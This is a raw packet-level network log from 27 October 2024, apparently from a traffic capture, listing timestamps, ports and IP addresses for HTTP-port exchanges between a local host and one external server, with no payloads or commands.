Oct 27, 2024 12:13:27.366914988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366915941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366949081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366981983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367002964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367010117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367032051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367065907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367067099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367106915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367115974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367151022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367165089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367183924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367196083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367217064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367232084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367252111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367265940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367285013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367299080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367338896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367338896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367369890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367392063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367404938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367420912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367456913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367466927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367496967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367517948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367537022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367544889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367578983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367590904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367611885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367625952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367645025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367660046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367692947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367695093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367728949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367742062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367760897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367774963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367805958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367806911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367835999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367856026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367867947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367882013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367902994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367909908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367935896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367958069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.367971897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.367979050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.368005037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.368015051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.368037939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.368055105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.368084908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.408526897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408555031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408567905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408581018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408591986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408605099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408608913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.408618927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408633947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408644915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.408688068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.408729076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408741951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408754110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408766985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408773899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.408781052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408802986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.408833027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.408906937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408942938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.408998966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409071922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409105062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409127951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409137964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409151077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409173012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409184933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409208059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409224987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409243107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409261942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409276962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409291029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409312963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409337997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409363031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409403086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409435987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409454107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409471035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409486055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409507036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409523010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409542084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409555912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409576893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409600019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409610987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409621954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409647942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409660101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409683943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409707069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409717083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409730911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409750938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409765959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409785032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409807920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409821987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409825087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409856081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409871101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409905910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409909964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409944057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409967899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.409976959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.409993887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410012960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410039902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410048962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410053968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410083055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410096884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410131931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410170078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410203934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410221100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410238028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410260916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410273075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410286903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410306931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410321951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410341978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410356998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410377026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410394907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410423040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410439014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410473108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410572052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410604954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410624981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410640955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410653114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410675049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410696983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410708904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410723925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410742998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410768032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410778046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410789013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410809994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410829067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410850048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410856962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410883904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410897017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410917997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410933971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410952091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.410969019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.410985947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.411000967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.411020041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.411035061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.411055088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.411067009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.411086082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.411107063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.411130905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.411792040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.411860943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.411864996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.411900043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.411912918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.411936045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.411953926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.411982059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.482853889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.482907057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.482923031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.482934952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.482944965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.482950926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.482955933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.482968092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.482983112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.482999086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483030081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483042002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483042002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483055115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483067036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483102083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483117104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483158112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483207941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483217955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483263016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483299971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483371973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483383894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483421087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483447075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483458042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483490944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483522892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483534098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483567953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.483957052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483968019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483978033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483988047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.483998060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484004021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484008074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484019041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484024048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484035015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484035969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484050035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484059095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484066963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484071016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484080076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484083891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484096050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484110117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484127998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484358072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484368086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484375954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484385014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484395027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484405994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484411955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484422922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484432936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484438896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484442949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484450102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484455109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484462976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484466076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484476089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484479904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484500885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484524965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484602928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484615088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484625101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484663963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484750032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484761000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484770060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484780073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484788895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484797001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484802008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484811068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484813929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484824896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.484832048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.484858990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.485037088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.485047102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.485054970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.485064030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.485073090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.485083103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.485084057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.485094070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.485104084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.485121965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.485146999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525402069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525456905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525471926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525490999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525502920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525526047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525559902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525583029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525610924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525620937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525646925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525677919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525691986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525698900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525732040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525763988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525787115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525796890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525810957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525830984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525851011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525863886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525876045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525899887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525912046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525935888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525950909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.525965929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.525986910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526000023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526021004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526034117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526043892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526067019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526083946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526101112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526114941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526135921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526158094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526186943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526190996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526220083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526233912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526271105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526272058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526307106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526319981 CET	49730	80	192.168.2.4	185.215.113.206
